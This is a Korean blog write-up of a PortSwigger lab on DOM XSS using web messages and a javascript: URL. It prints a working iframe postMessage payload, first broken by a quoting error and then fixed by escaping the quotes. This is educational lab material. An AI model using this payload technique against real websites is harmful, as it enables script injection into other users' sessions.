이번 문제는 웹 메시지와 자바스크립트 url을 이용한 DOM XSS문제다.
사이트 script를 보면 메시지로 받은 내용을 url변수에 저장 후 url에서 http:나 https:가 존재한다면 url주소로 리다이렉트 시켜준다.
print() 함수를 출력해야 하므로 javascript를 url에서 실행시켜야 된다.
https://jh-hack.tistory.com/85
https://jh-hack.tistory.com/88
이러한 유형을 두 번 정도 풀어봐서 바로 javascript:를 이용해야 된다는 걸 느꼈다.
그럼 저번 문제에서 푼 코드를 응용해 보면
<iframe src="https://0a7a005d035f20b880183fc900d7006f.web-security-academy.net" height=100% width=100%
onload="this.contentWindow.postMessage('javascript:alert('http:');print()',
'https://0a7a005d035f20b880183fc900d7006f.web-security-academy.net')">
메시지에 http:나 https:가 포함되어 있어야 리다이렉트가 되므로 alert함수를 이용해 http:를 출력해 주고 print함수를 호출했다.
이렇게 작성하였는데 이 상태로 제출해 보면
SyntaxError가 발생하며 )를 닫지 않았다고 나온다.
나는 제대로 닫았는디...?
찾아보니 따옴표를 제대로 닫지 않아서 발생한다 하는데....
제대로 닫았는디...?
사실 이 문제는 http:를 감싸고 있는 '를 문자로 인식하지 않고 특수문자로 인식해서 발생하는 문제였다....
사실 기본적인 건데 생각지도 못해서 진짜 이거 때문에 몇 시간을 헤맨 건지....ㅋㅋㅋ
(사실 이거 말고 실수로 오타내서 몇 시간 더 헤매었다...)
그러므로 '앞에 \를 추가해서 문자로 인식하게 만들면 된다.
<iframe src="https://0a7a005d035f20b880183fc900d7006f.web-security-academy.net" height=100% width=100%
onload="this.contentWindow.postMessage('javascript:alert(\'http:\');print()',
'https://0a7a005d035f20b880183fc900d7006f.web-security-academy.net')">
이렇게 작성하면
alert함수와 print함수가 차례대로 출력되면서 문제가 풀린다 ㅎㅎ
'Portswigger > DOM-based vulnerabilities' 카테고리의 다른 글
Portswigger - DOM XSS using web messages and JSON.parse solution (0) | 2024.01.18 |
---|---|
Portswigger - DOM XSS using web messages solution (0) | 2024.01.15 |